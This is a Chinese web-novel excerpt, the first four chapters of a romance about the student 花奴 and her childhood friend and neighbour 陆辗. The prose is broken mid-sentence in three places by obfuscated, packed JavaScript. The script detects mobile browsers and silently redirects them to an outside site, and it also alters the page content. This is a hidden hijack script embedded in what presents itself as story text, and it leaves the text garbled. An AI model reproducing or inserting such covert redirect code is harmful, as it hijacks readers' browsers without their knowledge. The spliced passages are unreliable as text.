《陆大人偏要招惹寡妇》 1. 第 1 章 “陆辗!陆辗!陆辗!” 我高声喊着这个名字,雀跃地一跑一跳着奔向正站在一棵参天古树下的青年,陆辗便是他的大名,他一身青衿,端站在那里,昂然自若,也如同参天古松一般。 实在是一件很奇怪的事情,明明学子们都穿着同样的青衿,可我一眼看过去就能看到陆辗,可能他就是这样的与众不同。 陆辗年岁不算大,已给人沉稳之感,嗯哼,只有我知道,他本性才不是这样的,他是年纪愈长,愈会装模作样了。 跑到了他身前,我不禁笑得眉眼弯弯,一边将我笈囊丢给他,一边恭贺他:“你今年又是榜首,恭喜贺喜!” 陆辗只挑了挑眉,不再像小时候那般嚣张,要张扬地抬起整个头颅,尾巴翘上了天,如今面对如此大喜事他仍旧神色不惊、风轻云淡。 我想这都是因为他习惯了。 自从他白鹿洞书院来求学,自从书院开始有考评排榜,旬考、年考榜首永远都是他,从未变过。 前年,江南道的所有书院学子们进行了一次联合考试,他是所有书院学子榜首。 陆辗是读书读得极好的,君子六艺,亦是样样拔尖,文武双修,山长说他将来必有大作为,我小时候不知事时并不觉得,长大后也是这样觉得。 在书院里,掌教们都日日夸赞他,日复一日年复一年的听着,耳朵都要起茧子了。 不仅如此,偶尔还要在别处听到与陆辗相关的事。 听闻有许多娘子倾慕陆辗,总有不知名娘子赠他礼物,不过总不见他收下,这时候我就在想,倘若我也是这般俊俏的郎君就好了,这样就会有很多娘子送我礼物,不过虽然我不是郎君,倒也经常有人送礼给我,只是我总要担心收了让人误会,便也从来不收。 听闻还有许多郎君钦佩陆辗,喜与他交友,高谈阔论。不过也有很多郎君是嫉妒他,毕竟所谓英才,天都妒,何况是普通凡人,然而他们却又比不过他,每回看他们吃瘪,也是挺有趣的。毕竟强者为尊,他文武双修,便是想嘲他空会读书或者有勇无谋都不能够。 此外,陆辗还是江南道极负盛名的俊俏郎君之一,这盛名是极难得的,其余盛名郎君都出生于当今有名的世家大族,钟鸣鼎食之家,唯有他是寒门之后。 早年他爹没有到昌南去烧瓷前,以打猎、打樵和烧炭为生,他家过得比较清苦、拮据,我记得那时候他衣服都只有几件,来回换洗。他爹去昌南烧瓷后,经过这十来年的磨砺,如今已成了很有名的烧瓷人,能烧出最好的青白瓷,官家、商家都指名要他爹亲自烧的瓷器。 如今是他家是优裕了,他娘常常找我娘做新衣裳,而他的衣裳也已经多得我再也不能一只手数清,所谓人靠衣装马靠鞍,我想这估计也是他成了闻名遐迩的俊俏郎君原因之一罢。 不过我记得便是以前他穿着洗得泛白的衣衫好像也不邋遢难看,他喜净,换衣很勤,身上衣衫总是干干净净,而他身姿挺拔,不勾腰驼背,不身着锦衣也有独特清韵。 诶,说起来,明明他读书读得更好,山长、掌教们夸起来就滔滔不绝,可大约人们还是比较肤浅,以至于他的色相比他的才学更出名。 不过,对于陆辗容貌扬名江南道我一开始是很诧异又很郁闷的,我与陆辗一起长大,竟完全不知他是何时长成了翩翩公子,成了许多春闺的梦里人,更是成了江南道的风云人物。 听闻他是我们浔阳城乃至江州、江南道都极出名的俊俏郎君后我抓着他,仔仔细细打量了他的脸许久,孜孜不倦问他:“你究竟是哪里俊俏?” 我正问时,他阿娘为我们送来一碟果干,笑吟吟地道:“花奴既然也觉得我们家大郎俊俏,以后就嫁给我们家大郎吧。” 这话是让我一下子就脸红了,支支吾吾也不敢再问了,别着脸,也不知该如何回他娘话,还好他阿娘不再多问,送了果干后就飘然离去。 我抓着果干低头吃,半晌后终于憋出一句:“我才不要嫁给你。” 陆辗从鼻间哼了一声,也道:“你以为我就会娶你?” 只是不知为何,自那以后,我就总想起陆辗阿娘这话,实在是他娘常在我耳边说,我无法不想,想着想着就开始琢磨起来,琢磨着琢磨着就觉得嫁给他勉勉强强也能接受吧,他本就是我知根知底的竹马,长得又俊俏,听闻世间很多负心郎,我想他总不会负我。 我后来又悄悄咪咪打量过陆辗无数次,将他和我们四邻家的郎君、书院里的郎君、浔阳城中的郎君都比较一番后我终于不得不认,他的确是个百里挑一的俊俏郎君。 我想也许是因为我没去过其他地方,没有见过大世面,没有见过更多郎君,所以才有此感。 我要是去了富庶的苏杭,去了繁华的长安、洛阳,见过很多俊俏郎君,就不会觉得他俊俏了。 陆辗背着他的书笈,又顺手接过我的笈囊,我顺势再上前一步,站在陆辗身前,一如既往地开始和他比身高,看我长高了没有,很可惜,没有长高,我还是只有他肩高。 陆辗是习以为常,装作看不见我动作,无奈让我以他身高为标准量身高,不过他是不放过讽刺我的机会,他等我量完,戏谑道:“别比了,你没有长高。” 我很泄气,哼了一声,兀自咕哝:“我吃了很多乳奶了,为何一点儿效用也没有。” 陆辗忽然轻笑出声,侧身低头靠近我耳朵,在我耳边揶揄我:“也不是完全没有用,更圆润了。” 我登时一脚踩到陆辗脚尖上,他面不改色,我再踩了一脚。 陆辗吸了口气,低声斥责我:“花奴——” 我亦一字一顿斥声:“陆、辗!你、再、敢、说、一、次、圆、润、试、试!” 他果真是敢,不仅如此,他还捏我脸颊肉,捏了好几下后道:“就圆润了一点点,你发什么脾气。你再踩我一次,别叫我给你拿笈囊。” 我唯唯诺诺地收回了已经抬起的脚,磨着牙齿,真想狠狠咬他一口。 这,才是陆辗的本性,恶劣至极,根本不是什么翩翩公子! 诶!对于身高,我是真的很介怀,小时候我和陆辗明明一般高,两个相差无几的小包子,那时候他比较活泼,比现在可爱太多,常常和我一起手拉手在浔阳城中四处跑,逢年过节放出去玩处处是爆竹声时也总拉着我帮我捂耳朵,他还挡在我身前。 后来渐渐长大,他不再拉我小手,甚至也不大爱同我玩耍了,我猜是因为那两年我个子猛窜,比他高了不少,他心里受挫,故而不想同我站在一起。 可我们两家就只隔着一堵墙,挨得这样近,他又能躲到哪里去? 那两年他爹娘也是很发愁,四处寻访大夫,早年日子清贫,却也没短这孩子吃喝,怎么就不长个子,他夫妇二人个子都算是高的,怎么儿子个子不高?邻家的娘子都比他高了,往后还能长高麽? 那时我最爱取笑陆辗了,他已过了婴儿期,都已经是个大孩子了每日都被他娘追着让他喝羊乳,吃乳酪,喝乳粥,好几回见着他嘴边还像个襁褓里的婴儿一样残留奶白。 然而,再过了两年,他喝的乳奶终究是起了作用,还是大作用,他猛然窜高一大截,不知何时就已经比我高了,后来又比我高很多很多,我和他说话都要仰着头,我去闹他,他轻而易举就能将我提起来丢开。 见他和乳奶如此有用,我蠢蠢欲动,也缠着阿娘给我补乳奶,可不知为何,我只慢慢又长了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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我的手帕交温娘去年和江州司马家的郎君定亲后便已不再到书院来,今年陆辗也要不在,爹娘不放心我一个黄花大闺女独自出远门,虽然也没有多远……还是担心我没有个相熟的熟人照应,今年入学时便和我提了这事。 我深思熟虑后也觉得我从五岁开始在浔阳城东的书塾读书,十岁又到了白鹿洞书院来求学,已经读了很多年的书了,早已会识文断字,该通读的经史典籍已读过,在山长、掌教们那里学了许多为人处世的大道理,以后是可以不必到书院来。 陆辗突然提起毕业考,我不禁神气起来,扬着下巴,唇角笑意止不住,我转头对陆辗,背对着路道走,与他道:“你又想取笑我,失算了吧,毕业考我考评很好呢,上中,不会再挨竹鞭了。” 要知道,上上,那得是天才才能得到的考评,书院毕业考,只有凤毛麟角几个人能得此评价,上中也只有三分之一,上下比较多。 一般若是毕业考考评为中中以下,就是不合格,不予毕业,不过我是还没见过书院有几过考评是中中以下的,便是排榜,榜尾最次也是中上。 后来我去了许多地方才知,其他地方,很多书塾没有这么严格,书院也是中以下才是不合格,我一直以为自己读书读得不好,后来才知那是因为我读书的书院学子聪慧的太多,才显得我过于平庸,和很多人对比,我的才学竟是很不错的。 好吧,我不应该和不如我的去比较,图一个心理安慰罢了,所谓天外有天,人外有人,比我读书好的有大把人,不说别处,我们书院中就有很多。 不过,我也就得过一次榜尾,那次考题的策论涉及到了我不了解的领域,后来我已补习了,哎呀,当然这也是我的托辞,是我为我不足够认真找的借口,为了堵住阿娘嘴,让她信我我不是那么差劲的。 “我是担心你又被你阿娘竹鞭伺候只能躲到我家来,变成我要伺候你这个‘贵客’。”陆辗捏着我双肩将我整个翻转,在我身后言道,“看路。” 2. 第 2 章 走了许久,我和陆辗还有随行的学子们终于到了彭蠡泽西渡口之一,我和陆辗此番回浔阳便是要在此渡口乘船而回,从渡口上船,船经彭蠡泽,到浔阳江,停靠浔阳江头,那里便是我家和陆辗家所在之处,浔阳城了,白鹿洞书院是在江州星子县,而浔阳城是江州治所,两处是离得很近的,但要是走路的话也是需要蛮久的,还累,还是乘船比较便利。 渡口的船是温娘家的,温娘她爹是个商人,做船运生意的,还是个大善人,除了常常救济江州贫苦人家,每每年考后白鹿书院学子该归家时,她爹还会派一艘船到这个渡口接归浔阳的学子,只收取很少的钱,一人五文钱。 自从温娘她爹到浔阳城来以来,便一直有这习惯,实在是方便了很多浔阳学子,亦有要到浔阳江渡口乘船自江流而上或者往下归家的学子们会乘坐这船到浔阳江渡口去。 彭蠡泽的这个西渡口有个卖糖葫芦的老者,我每每都要感叹,这老者忒会做生意,学子们年幼无知,哪里抵挡得住糖葫芦的诱惑,糖乃稀罕物,糖葫芦自然也蛮贵的,一串需要五十文钱,我存了钱买糖葫芦的,但我身上只有五十三文钱。 我方才不该同陆辗置气,我是忘了还有渡口这一遭,于是,愈接近渡口我边愈发心事重重,我要如何才能央求陆辗借我两文钱呢?他一向身上会多余钱,反正回回我同他借钱他都有多余的钱借给我。 我很惆怅,买了糖葫芦我就乘不了船……也不是不能乘船,船夫认得我,可以赊欠,只是如此,定要被阿娘知道,她总要训我给人添麻烦,给陆辗添麻烦的话她就不会知道了。 眼看着离卖糖葫芦的老者越来越近,我已闻到糖葫芦香味,口中生津,想吃,想吃,想吃! 我只好停下来等一等陆辗,待他与我并排,我抓住了陆辗青衿袖口,他未做停留,走了一步后,察觉袖口被我扯拽,不得不停下来,回头看我。 我对着他眨眼睛,扯了扯他衣袖。 他是很无奈的样子,却还是问我:“这回要借多少?” 我霎时面上浮出明媚笑容,伸出两根手指:“我这回存了钱,只差两文钱,好陆辗,你能不能借我两文钱,我的钱不够一起买糖葫芦和付乘船的钱,买了糖葫芦我就得走路回家了。” 陆辗拿出钱袋,从中取出两文钱给我,冷冷地警告我:“下不为例。” 哈哈,他上回就是这么说的,上上回也是,上上上回也是…… 有了足够的钱我自然欢欣地去买糖葫芦了,迫不及待就吃了一颗,满足感油然而生,唉,不得不说,这老者真有手艺,他做的糖葫芦就是香甜,阿娘得空时做过,味道不一样,浔阳城中也有卖糖葫芦的,味道也不一样。 可能是每回我在老者这里买糖葫芦都是因为我要归家了,心情格外好,糖葫芦自然也就格外香甜。 我吃得摇头晃脑,再吃一颗时方才注意到一旁的陆辗,我咬下一颗,将糖葫芦串递到陆辗嘴边,含糊不清地道:“好陆辗,你吃一颗。” 陆辗偏头躲避,冷言道:“不吃。” “吃嘛,很香甜的。” 我不依不饶同他拉拉扯扯,他实在没法,停了下来,同我讲道理:“你这么喜欢吃,给我吃了一颗,你就少吃了。” 吃到了糖葫芦,我心情好极了,我笑眯眯地道:“少吃一颗而已,不打紧,更想让你也吃。” “这可是你说的,一会儿别又一副意犹未尽的样子看着我。”陆辗说话间便咬走了一颗糖葫芦。 “好吃吗?”我问他。 他点了点头。 顿时,我是心情更加愉悦了。 “下回,啊,没有下回了,以后我不会再到这里来买糖葫芦了。” 不到白鹿洞书院来上学后,即便是两处相隔不远,我也不会到这里来,至多在浔阳城中买了。 “想吃就过来买。” “虽然想吃,更不想麻烦。” 临上船时我吃完了糖葫芦,果真是意犹未尽,先前陆辗说了让我别意犹未尽看他,我便意犹未尽一步三回头看卖糖葫芦的老者,他的糖葫芦几乎已经快要被学子们买完了。 想来和我一样念着这一口的可是不少人。 我头顶忽然被人拍了一下,我恼而仰头,看到是陆辗。 “你做何打我头?” 陆辗不语,又取出了钱袋,丢给我。 “还想吃就再去买一串。” 我摇了摇头,将钱袋还给陆辗:“不行的,陆辗,我不能借你这么多钱。” 陆辗屈指又敲我额头:“去买吧,不要你还,当做是赠你的毕业礼。” 闻言,我不禁睁大眼睛:“哇!陆辗,你就拿糖葫芦做我毕业礼了?” “要不要?不要就——” 眼看着陆辗要把钱袋收回去,我赶忙回他:“要要要,谁说我不要了!” “那就赶紧去,去晚了你就没得吃了。” 我回头一看,老者的糖葫芦剩更少了,顾不上太多,我急急忙忙跑过去,买了最后一串糖葫芦。 回来后我将钱袋还给陆辗,他钱袋里竟余不少钱,我好奇问他:“陆辗,你怎么还剩下这么多钱?” “某人回回要借钱买糖葫芦,我不多留些,没钱乘船。”陆辗漠然道。 “哦!”我实在有点儿不好意思了,原来都是因为我,我又抓住陆辗袖子,表达我诚挚的感激,“好陆辗,我就知道你是天底下最最好的陆辗了。” 陆辗有时候确是很好很好的,譬如他说糖葫芦是给我的毕业礼,但是回了浔阳城后他又给了我一个更贵重的毕业礼,是一个极精致的香奁。 回到浔阳不久,就是元日,今年春早冬暖,元日时已见桃李枝头满花。 元日是一年中最重要的日子之一,意味着新年伊始,万事万物新气象。 昨夜守夜,一夜未眠,清晨我去睡时见阿爹正在立竹杆悬幡子,我便也发愿:祈盼今年平平安安 不料到我刚发愿结束,一睁眼,竟然见阿爹没立稳竹竿,祈福的幡子将欲倒下,还好阿爹眼疾手快,没让幡子倒地,而我实在困得不得了了,今夜我还要和陆辗一同去看傩戏,再不睡,我晚上要没精神出去了,见幡子重新立起来后,我安心回了卧房去睡觉。 这一睡我破天荒梦到了小时候的事,可能是今日是元日,互相道贺的人太多,爆竹声不绝,外面太吵,我一直睡不安宁,便做了梦。 梦到的是我头一次搬了爹上房顶翻瓦时用的木梯搭在我家和陆辗家相隔的墙头上,爬上木梯,趴在墙头偷看陆辗,由于没站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310282|167266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稳,狠狠从木梯上摔了下来,陆辗闻声翻过墙头从他假装院子里到了我家院子里,我这偷看的行径被他抓个正着,我脚还摔崴了,走不了路,恰逢我家中无人,他便将我横抱回了家中。 那时候我和他还是一般高呢,他竟然抱得动我,我生怕他让我又摔一次,死死抱住他脖子,被他讥讽是不是想勒死他。 后来爹娘回来,我只敢说我是不小心摔了,不敢告诉他们我是闲来没事做爬墙头看陆辗摔的,还好陆辗嘴严,也没有告密。 我真的没想到会出这样的意外。 毕竟这堵墙我家这一面有一棵柿子树,他家那一面有一颗柚子树,树叶掩映之下,陆辗根本没有发觉我在墙头,若不是我摔了惊叫出声,他根本就不能发现。 不过被他发现了也没什么的,后来我便光明正大趴墙头看他以及如此找他说话了。 有时他在院子里看书,有时他在写字,有时他在挨他爹、娘骂,有时他在晒谷,有时他在同好友对弈……有时他在他家葡萄架下摘葡萄,每每此时,我总也馋,撒泼耍赖也要吃。 陆辗就那样坐在葡萄架下,很是头痛地望着我,道:“想吃就自己过来,不要趴在墙头要。” 我撇着嘴道:“好难走过去……” 是相隔很近,但是要出院门,到外面去,再进陆辗家院门,我家院门开在东南角,他家院门开在西南角,还是蛮远的,不是他从墙头给我简便。 “这才几步路?嘴馋又不肯动。” 福至心灵,我突然想出一个绝妙的注意:“陆辗,你都能轻易翻墙到我家院子里,我也可以翻过来啊。” 陆辗果然无情哂笑:“你嫌上回摔得还不够惨?半个月都走不了路,要你爹背着你到书塾去。” “你接住我就不会发生这样的意外了嘛,好陆辗,好不好嘛。” “不好,撒娇也没用。” “我真的不想走,你不接住我,我就自己跳下去。” “你跳,崴脚的又不是我,疼哭的也不是我,走不了路的更不是我。” “跳就跳,陆辗,我来了,你别把熟的摘完了,留几串给我,等我家柿子熟了,我也摘柿子送给你。” “花奴!你——” 此时我已经坐在了墙头,看准了位置,就要跳下去。 “你停下,我摘了拿给你。” “不要,我就要跳墙,像燕子一样飞起来!” 陆辗深吸了一口气,无奈将竹盘放在葡萄架下的桌上:“你先别跳,我接你成了吧。” 我张开了手臂,雀跃道:“好啊,陆辗,你可要好好接住我。” “你好好坐着!一会儿摔个四脚朝天。” 最终我是跳到了陆辗怀里,他稳稳接住了我,我环抱着他才发觉他耳根红透了,我好奇地戳他耳朵:“陆辗,你很热吗?你耳朵好红啊!像煮熟的虾子一样红。” 他很不耐烦地道:“很热,赶紧放开我,不然我就让你摔地上。” 我才不惧他这威胁,再戳了几下见到他快要发火了才利落地从他身上下来,很奇怪的是,他刚才还那么凶,眼看着都要发火了,我低头在一旁等他发落时他又不凶了,不过也不多么理会我了,像癞.□□戳一下跳一下一样,我问到他,他才蹦出几个字。 3. 第 3 章 陆辗不让我趴墙头,我叛逆,狡辩不是每回都会摔,有了一次教训,我会趴得稳稳的。 知道他在他家院子里时我就总喜欢趴墙头找他说话,他拿我没办法,只能由我任性,到后来索性和我一起坐在墙头,他坐在墙头吹笛,我在一旁听美妙乐声,或者是我们一起看星星,他指星星告诉我星星名字。 有时候,陆辗会坐在他家院子中抚琴,我特别喜欢趴在墙头看他抚琴。 他音律当然是也极好的,我觉得他抚琴比书院里授乐的岑掌教还抚得好,当然岑掌教抚琴也是一等一的好。 岑掌教仙风道骨,清雅飘逸,长得很不错,年纪只有廿八,不像其他掌教,个个续胡须,年纪也已经很大了,对比下来,岑掌教与其他掌教是格格不入。 江州不少娘子郎君喜爱听岑掌教抚琴,而岑掌教喜爱到庐山中寻个清幽僻静的地方抚琴,总有娘子郎君闻讯去岑掌教喜爱去的地方蹲守,只为听他抚一曲琴,这事经常被其他掌教当做笑谈,在授课间隙说与学子们听。 和陆辗这样的年轻郎君不同,岑掌教的琴声里有故事和感情,有时是悲愤,有时是哀伤……易触动人心弦。 我是也极喜爱听岑掌教抚琴的,曾经路过书院石桥,看到岑掌教在溪上露出的石床上抚琴,我一面走一面听,陶醉其中,如此入迷,差点摔下石桥,还好有温娘拽我一把,才没让我闹出这笑话,不过后来我还是成为了笑话,掌教们说起岑掌教时多了一件趣事,那便是书院中曾有一个学子听岑掌教抚琴,如痴如醉,差点摔下石桥,如此,又多了一件事可证明岑掌教琴声之玄妙。 好事不出门,坏事传千里,陆辗自然也知道了我闹的这笑话。 于是在我再次趴墙头听他抚琴时,他嗤声嘲笑我:“小心听得入迷,摔下墙头。” 我故作深沉摆手摇头,道:“不行的,陆辗,你的琴声不足以让我入迷,你抚琴技艺高超,但你的琴声里没有故事,没有感情,这一点你不如岑掌教。” 陆辗气极,再抚一曲激烈的破阵曲,琴声铮铮然,嗯,有感情了,我感觉到他的愤愤了,是极有感情的,他是想用琴声将我震落墙头! 嘻嘻,其实我骗陆辗的,我一直觉得他抚琴抚得很好很好的,介于他太骄傲了,我打算敲打敲打他,让他学学什么叫收敛。 他的琴声中有一种向上的激情澎湃之感,仿若湍急凶猛的水流,滚滚东流,极有气势,不惧怕任何阻碍,不惧天,不惧地,以不可抵挡之势冲破横流。 而岑掌教琴声总带着苍凉悲怆,听多了,总感觉悲从中来,使人惆怅,我不喜欢这样悲伤的琴声,却每每为这琴声沉醉,也是件怪事,我想这就是岑掌教能做授乐掌教的原因罢,他年纪轻轻便到白鹿洞书院授课,是要有他与众不同的本事的。 我听陆辗抚完一曲破阵曲,不怀好意问他:“陆辗陆辗,你弹琴弹得这样好,凤求凰你也会弹麽?” 陆辗尚覆在琴弦的手微顿,他凌厉目光朝我望来,冷冷道:“你想让我弹凤求凰给你听?” 诡计被他看破,我哈哈一笑,诡辩道:“我可没说,是你说的,那就是你想弹给我听。” 我笑得眉眼弯弯,歪头晃脑催促他:“快弹快弹,我想听。” “我特意为你抚一曲凤求凰?你想得美。” 我的确是想得很美啊,我是很想很想听陆辗为我抚一曲凤求凰。 这是因为我和陆辗从城东书塾转到白鹿洞书院读书后我读了更多的书,书院藏书楼有很多藏书,看都看不完,某一日,我看到了一篇赋,名作《登徒子好色赋》。 我终于知道了我在浔阳城中偶尔听闻的,有些人将陆辗比作宋玉的那位宋玉是谁了,我不曾得知的是这个古人宋玉竟然也有一个东邻,也是个貌美女子,容我厚颜无耻自夸一下,我也是貌美女子,这不是空口无凭,我听很多人说过。 自从我看过这篇《登徒子好色赋》后我就很不高兴,别人把陆辗比作宋玉,我又是陆辗的东邻,古时的那位东邻女和我一样喜欢趴在墙头看西邻家的郎君,在这典故中宋玉的心坚如磐石,不为那东邻女所动,我担心陆辗也是,这可真不是好兆头。 陆辗怎么能不为我所动!不行的不行的,不可以不可以!他应当对我如痴如狂,我也不知我是哪里来的好胜心,就是想证明事实如此。 于是我没日没夜翻看古籍,想另找关于东邻女的典故,一定要是喜欢东邻女的,经过我不懈的努力,我终于找到了这样一个典故——凤求凰,好歹也有东墙二字,那便是了! 那时候我好不容易找到这样一个典故,欣喜若狂,只顾着看《凤求凰》字里行间散发出来的荡气回肠的浓烈求爱之意,而没有详细看完整个典故,不知那被求爱者听了一曲凤求凰后便与弹琴者私奔,那求得所爱者后来还移情别恋迷恋她人,同样不是好兆头。 然而我还是很想听陆辗抚一曲《凤求凰》,我也不知执念从何而来,就是非常想听,他弹奏的《凤求凰》必然胜过岑掌教弹奏的所有琴曲。 脸皮太薄不能成事,我厚着脸皮对陆辗叫嚣:“我自然是想得很美的,你先弹给我听,哪天我学会了也弹给你听怎么样?啊,要不你教我吧,我学会了弹给你听呀。” 是这样的,我喜爱听岑掌教抚琴,岑掌教也是书院中的授乐掌教,但我却是没有学乐的,样样都学的话需要的脩金很多,我便只学了礼、书、数,除了基本的脩金,只用给教授我礼书数的三位掌教送上脩金,这样开销能小一些。 “你?别折磨四邻耳朵了,上回缠着我学吹笛,你坐在墙头整日整日吹,四邻上门找你爹娘的事忘了?现在又想学琴。” 我佯装愤懑,道:“你瞧不起我!” “你想让我瞧得起你,你学会了我就瞧得起你。” 我可聪明了一回,瞬间就看破了陆辗心机,毫不留情戳穿他:“哇,陆辗,你耍心机,你就是想我弹给你听。” 陆辗脸皮厚如我趴得这面墙,对此控诉不置可否,还挑衅我:“你学得会吗?” 对于这种质疑,我认了我就不是郑兰君了。 倏地想起上回他被我缠得烦的样子,我乐开了花,嘻嘻笑着,故技重施:“那你就教我啊,我付不起书院给岑掌教的脩金,更没有钱请先生教我,还要新买一张琴,算下来要学琴的话要花费好多钱哩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310283|167266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你不教我我就学不了,我学不了,你就听不到我弹给你听了。” “你想要我教你,你就请得起我吗?” “远亲不如近邻,我是你近邻,你总得给我便宜些吧。”我灵机一动,拍了下墙头,“我可以去采莲子,用莲子当做脩金行不行?好陆辗,你就教我嘛。” 陆辗还是不答应,也不言语,兀自低头调琴。 我只好继续扰他:“陆辗?好陆辗,天底下最最好的陆辗。” 陆辗还是不回话,我只能看到他低着的头,看不到他脸,看不到他神色。 我坚持不懈软声喊他:“陆辗陆辗,好陆辗……” 阿娘说我有一把好嗓子,甜如蜜糖,长得又有几分无辜相,撒起娇来神仙也扛不住,哈哈,这是因为我常常向阿娘撒娇,她每每拿我无法,妥协后总要说这话。 自从知道我还有这个优势后我便经常用在爹娘和陆辗身上,至今为止,还未失手过,当真是极好用呢。 其实我觉得他们都是被我烦到无法,不想我继续烦他们才会回回都答应我的诉求,我烦人的功力的确是很深厚的,修练了这么多年,是愈发炉火纯青。 “好陆辗,你就教我嘛!你不教我我以后会日日烦扰你的。” 终是被我喊得烦了,陆辗抬头,他面上竟带着一点儿没来得及收回的笑意,故作高姿,睇我一眼,道:“行,我教你。” 虽然这结果在我意料之中,我还是欢喜若狂,为表诚意,我即刻道:“我明日就去采莲子!” 陆辗道:“不用莲子。” “啊?不要莲子啊,那你要什么?” “什么都不要,”陆辗沉沉叹息,“让你去采莲子,你摔一身泥,脏了你的衣裙,到时候还不是找我哭。” 我不好意思地撇嘴,嘟哝:“哪有……” 陆辗连脩金都不要是有点儿出乎我的意料,上回他教我吹笛,我还采了莲子给他当做脩金,只交过一次就是了,我穿着娘为我新做的襦裙去的,摔进了荷塘,襦裙上全是泥,帔帛也变成了泥条,我一路拿着泥鞋和泥条帔帛,提着一篮子干干净净的莲子委委屈屈地回家,先去了陆辗家,将莲子给他,一见到他就大哭了出来,我也不知为何要哭,就是很想哭,我摔进荷塘时都没哭,还继续爬起来洗干净手摘莲蓬剥莲子。 陆辗摸摸我的脑袋:“以为你说想学吹笛是开玩笑,你还真去采了莲子,把自己折腾成了个泥人。” 我抽抽噎噎地道:“我才没有开玩笑,我不是泥人!” “你说不是就不是,好了,别哭了。” 趁着陆辗为我拭泪,我一把抱住他,让他衣上也沾满了泥,见他皱眉,我终于破涕而笑,又怕他揍我,提起裙裾,提着我的泥鞋和泥条帔帛撒腿就跑。 唉,往事不堪回首。 清楚听到了陆辗的话,我怕他反悔,赶紧道:“陆辗,我可是听得清清楚楚,你答应教我了,不准反悔,明日起,我就来你家,你教我弹琴。” “答应你的事我何时反悔过,倒是你,别只是一时兴起,浪费我时间教你。” 我郑重向他承诺:“不会的,我会认真学。” 4. 第 4 章 真正开始学弹琴后我深刻感觉到学弹琴真是一件很不容易的事情! 这种不容易有一半原因来源于陆辗,他是个剑走偏锋的老师,不是个耐心细致的老师,他教我学琴是教我指法和技巧,而后他亲自弹奏两遍,就开始让我自己弹。 我承认我记性是不错,但我听了两遍后也只能记住旋律,这就要让我自己来,实在是难为我,我被赶鸭子上架,抱怨几句,他说我弹得不对他再指导我。 这老师当得忒不称职,介于是不收脩金的老师,我想了想觉得如此也算正常,不要有太多要求,想通后心情舒畅,我便这么磕磕绊绊开始学弹琴。 不得不说弹琴真是一种极其修身养性、陶冶情操的行为,我弹了几日,明显感觉到我的心境平和了许多,简而言之就是我麻木了,我感觉自己是个傀儡,没有自我意识,只会呆滞地重复动作,听不见耳边难以入耳的乐声。 为什么说难以入耳,这实在是我有自知之明,还有旁事可以佐证。 一开始,陆辗爹娘见我到他家学弹琴,很是欢迎我,第二日开始,他们看到我还是很热情但是总会嘱咐陆辗好好教我之后一大早就出了门去,回来时我大约已经回家了,再过几日,他们才开始待在家中。 实在惭愧,我承认前几日刚开始学弹琴时,我弹奏的乐声是太难入耳,他们大约是经受不住这摧残,才早出晚归。 我亦是有好几日都心有戚戚,奈何陆辗面色无虞,还能在这样的乐声中安然看书,我便大胆弹奏了起来,偶尔我心虚抬头,觑见陆辗捏紧了手中的书,手下又错了一个音。 我觉得即便是难听也不能完全怪我嘛,哪有他这样让我自由发挥便算是教我的?就像幼时爹教我凫水,直接将我丢进浅水滩让我自己扑腾,看我大约要喝水喝饱了将我拉起来,让我吐水,再休息一会儿,好了后又将我丢进去,如此循环往复,我扑腾着扑腾着竟神奇地学会了凫水! 当时还有其他同龄伙伴也在凫水玩耍,其中便有陆辗,他还在不远处观摩我学凫水,笑话我,我想约摸是在那时他就看出来我天赋异禀,于是如法炮制,学了我爹的法子,让我自己扑腾,上回教我学笛子他也是用的这法子。 子曾有曰,因材施教,不能我学什么都用同样的方式教学吧? 虽然老师是很不用心,架不住学生我太聪慧,半月过去,我感觉我学会凤求凰了,好听不好听另说,反正我趁着陆辗偶尔出去时偷偷完整地弹过几回,是会弹了。 但是我不想就这样弹给陆辗听,他都还没有单独完整弹给我听过,教我的时候弹得不算数。 我一向如此,学会了便不想在继续深造,心思也会开始漂浮起来,再学时便开始耍赖让陆辗教我其他曲子,他自然是不肯的,他只答应了我教我弹凤求凰,我若学会了,这短暂的师徒关系便结束了。 那我只能,一直学不会了,哈哈哈! 午后阳光明媚,蝉鸣声声,我故意胡乱拨弄着琴弦去和蝉鸣声,片刻后,陆辗忍无可忍放下手中的书,看向我来:“花奴,要学就好好学,你再这样不认真,我就——” 他终于理会我了,我抓紧时机耍赖:“你这根本不是教我,你要一点一点教我,像这样让我自己弹,你在一旁听,我怎么知道怎么弹。” “我看你学得挺好。”陆辗冷淡道,“哪里不会?” 我拍了拍我旁边位置:“你坐过来教我嘛,好陆辗,好不好?” “你又在打什么鬼主意?”话是这么说,陆辗还是依我,另取了一个蒲团,坐到了我旁边来,他刚坐下,霎时间,一股冷香袭来。 我前头嗅去:“嗯?好香啊,陆辗,你用了香?” 陆辗抬手按着我的脑门将我推开,道:“最近买的安神香。” 原来是安神香,我又好奇问他:“咦,你最近睡不好吗?需要用安神香。” “暑热不好睡,这香气偏冷,点了好睡些。” 说起最近的暑热,我深有感受,猛猛点头表示赞同:“最近半个月是很热,我也睡不好,总要后半夜热气退了才安睡。” “香有多的,一会儿你拿一些回去。” “好啊好啊,谢谢你哦,好陆辗。” 